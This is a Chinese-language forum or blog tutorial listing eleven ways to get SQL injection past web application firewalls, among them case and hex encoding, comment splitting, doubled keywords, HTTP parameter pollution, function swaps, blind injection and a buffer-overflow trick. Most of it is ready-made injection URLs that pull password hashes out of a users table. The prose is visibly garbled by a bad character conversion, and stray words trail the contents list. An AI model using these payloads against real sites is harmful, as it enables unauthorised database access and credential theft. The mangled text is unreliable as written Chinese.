做者:bystander
博客:http://leaver.me
论坛:法克论坛php
目录正则表达式
1.大小写绕过sql
2.简单编码绕过服务器
3.注释绕过markdown
4.分隔重写绕过函数
5.Http参数污染(HPP)post
6.使用逻辑运算符 or /and绕过学习
7.比较操做符替换测试
8.同功能函数替换ui
9.盲注无需or和and
10.加括号
11.缓冲区溢出绕过
1. 大小写绕过
这个你们都很熟悉,对于一些太垃圾的WAF效果显著,好比拦截了union,那就使用Union UnIoN等等。绕过
2. 简单编码绕过
好比WAF检测关键字,那么咱们让他检测不到就能够了。好比检测union,那么咱们就用%55 也就是U的16进制编码来代替U, union写成 %55nION,结合大小写也能够绕过一些WAF,你能够随意替换一个或几个均可以。。
也还有你们在Mysql注入中好比表名或是load文件的时候,会把文件名或是代表用16进制编码来绕过WAF都是属于这类。
3. 注释绕过
这种状况比较少,适用于WAF只是过滤了一次危险的语句,而没有阻断咱们的整个查询
/?id=1+union+select+1,2,3/*
好比对于上面这条查询,WAF过滤了一次union和select,那么咱们在以前在写一个注释的语句,让他把注释里面的过滤掉,,并不影响咱们的查询。。
因此绕过语句就是:
/?id=1/ union/union/ select/select+1,2,3/*
还有一种和注释有关的绕过:
好比
index.php?page_id=-15 / !UNION/ / !SELECT/ 1,2,3,4….
能够看到,只要咱们把敏感词放到注释里面,注意,前面要加一个!
4. 分隔重写绕过
仍是上面的例子,适用于那种WAF采用了正则表达式的状况,会检测全部的敏感字,而不在意你写在哪里,有几个就过滤几个。。
咱们能够经过注释分开敏感字,这样WAF的正则不起做用了,而带入查询的时候并不影响咱们的结果
/?id=1+un//ion+sel//ect+1,2,3–
至于重写绕过,适用于WAF过滤了一次的状况,和咱们上传aaspsp马的原理同样,咱们能够写出相似Ununionion这样的。过滤一次union后就会执行咱们的查询了
?id=1 ununionion select 1,2,3–
5. Http参数污染(HPP)
好比咱们有这样的语句:
/?id=1 union select+1,2,3+from+users+where+id=1–
咱们能够重复一次前面的id值添加咱们的值来绕过,&id=会在查询时变成逗号
/?id=1 union select+1&id=2,3+from+users+where+id=1–
这种状况成功的条件比较多,取决于具体的WAF实现。。
再给出一个例子说明用法
/?id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id=*/users–
具体分析的话就涉及到查询语句的后台代码的编写了。
好比服务器是这样写的:
select * from table where a=”.$_GET[‘a’].” and b=”.$_GET[‘b’].” limit “.$_GET[‘c’];
那咱们能够构造这样的注入语句:
/?a=1+union/ &b=/select+1,pass/ &c=/from+users–
最终解析为:
select from table where a=1 union/ and b= /select 1,pass/limit */from users–
能够看到,这种方式其实比较适合白盒测试,而对于黑盒渗透的话,用起来比较麻烦。可是也能够一试。
6. 使用逻辑运算符 or /and绕过
/?id=1+OR+0x50=0x50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
顺便解释一下第二句话,从最里面的括号开始分析,select+pwd+from+users+limit+1,1 这句是从users表里查询pwd字段的第一条记录,好比是admin,
而后mid(上一句),1,1就是取admin的第一个字符,也就是a,
lower(上一句)就是把字符转换为小写,
而后ascii就是把a转换成ascii码,看等不等于74.
7. 比较操做符替换
包括!= 不等于,<>不等于,< 小于,>大于,这些均可以用来替换=来绕过,
好比上一个例子,要判断是否是74,假设=被过滤,那么咱们能够判断是否是大于73,是否是小于75,而后就知道是74了。。不少WAF都会忘了这个。
8. 同功能函数替换
Substring()能够用mid(),substr()这些函数来替换,都是用来取字符串的某一位字符的。
Ascii()编码能够用hex(),bin(),也就是16进制和二进制编码替换
Benchmark() 能够用sleep()来替换,这两个使用在基于延时的盲注中,有机会给你们介绍
若是连这些都屏蔽了,还有一种新的方法
substring((select ‘password’),1,1) = 0x70
substr((select ‘password’),1,1) = 0x70
mid((select ‘password’),1,1) = 0x70
好比这三条,都是从password里判断第一个字符的值,能够用
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1
来替换,left用来取字符串左起1位的值,strcmp用来比较两个值,若是比较结果相等就为0,左边小的话就为-1,不然为1
还有我前几篇说过的group_concat 和concat和concat_ws也能够互相替换
9. 盲注无需or和and
好比有这样一个注入点:
index.php?uid=123
and or 被过滤了,其实有一种更直接的方法,咱们直接修改123为咱们的语句生成的,
index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
123的时候页面是正确的,咱们如今在盲猜hash的第一位,若是第一位等于0x42也就是B,那么strcmp结果为0,0+123=123,因此页面应该是正确的。不然就说明不是B,就这样猜,不用and 和or了。。
10. 加括号
/?id=1+union+(select+1,2+from+users)
好比,上面这一条被WAF拦截了。能够试试加一些括号
/?id=1+union+(select+1,2+from+xxx)
/?id=(1)union(select(1),mid(hash,1,32)from(users))
/?id=1+union+(select’1’,concat(login,hash)from+users)
/?id=(1)union(((((((select(1),hex(hash)from(users))))))))
/?id=(1)or(0x50=0x50)
最后,我的能力毕竟有限,有些也一时想不起,想起来的话再补充。同时欢迎你们指正,补充。
11.缓冲区溢出绕过
刚刚写着把这个给忘了。这个是从国外一个博客看到的。
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36–+其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。。通常要求1000个以上